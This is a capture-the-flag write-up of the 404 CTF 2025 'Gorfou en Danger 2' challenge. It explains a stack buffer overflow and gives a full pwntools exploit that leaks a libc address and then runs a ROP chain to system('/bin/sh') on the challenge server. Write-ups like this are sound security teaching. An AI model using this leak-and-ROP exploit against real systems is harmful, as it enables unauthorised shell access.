404 CTF 2025 - Gorfou en Danger 2

Posted Sat 10 May 2025
Author Istark
Category Writeup
Reading 2 min read
Featured image

Challenge Overview

The binary is a classic buffer overflow challenge with the following properties:

  • No stack canary
  • No PIE (fixed addresses)
  • Executable stack
  • Partial RELRO

The program presents a menu and reads user input into a fixed-size buffer with an oversized read, allowing a stack overflow.

main.c Excerpts

void take_command() {
    char command[0x100];
    printf("> ");
    read(0, command, 0x130);
    printf("Commande inconnue\n");
}

void debug_info(void) { 
    printf("main address : %p\n", &main);
    printf("printf address : %p\n", *(uint64_t *)0x403008);
    void* local_var = NULL;
    printf("Stack address : %p\n", &local_var);
    return;
}

int main(void) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    menu();
    printf("Terminal de contrôle à distance de la station orbilate Penrose\n");

    while (1) {
        take_command();
    }
    return 0;
}
  • The take_command function reads 0x130 bytes into a 0x100 buffer, allowing a 48-byte overflow.
  • The debug_info function prints the address of main, the address of printf (from the GOT), and a stack address.

Exploitation Steps

  1. Leak a libc address: Overflow the buffer and overwrite the return address to call debug_info, then return to main for a second input.
  2. Calculate libc base: Use the leaked printf address to compute the libc base.
  3. Build a ROP chain: Overflow the buffer again, this time to call system("/bin/sh") using a pop rdi; ret gadget and proper stack alignment.

Exploit Code (No Comments)

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
exe = context.binary = ELF('./chall')
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')

host = 'challenges.404ctf.fr'
port = 32464

def start():
    if args.LOCAL:
        return process('./chall')
    else:
        return remote(host, port)

DEBUG_INFO = 0x4004ed
MAIN_ADDR = 0x400584

io = start()

io.recvuntil(b"> ")
payload = b"A" * 264 + p64(DEBUG_INFO) + p64(MAIN_ADDR)
io.send(payload)

io.recvuntil(b"printf address : ")
leaked_address = int(io.recvline().strip(), 16)

libc.address = leaked_address - libc.sym["printf"]
system_address = libc.sym["system"]
binsh_address = next(libc.search(b"/bin/sh"))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
ret = next(libc.search(asm("ret")))

io.recvuntil(b"> ")
rop_chain = p64(pop_rdi) + p64(binsh_address) + p64(ret) + p64(system_address)
payload = b"A" * 264 + rop_chain
io.send(payload)

io.interactive()

Key Points

  • The first payload triggers a leak and returns to main for a second input.
  • The second payload executes a ROP chain to spawn a shell.
  • Stack alignment is ensured with a ret gadget before system.

This approach reliably exploits the buffer overflow to gain shell access on the remote service.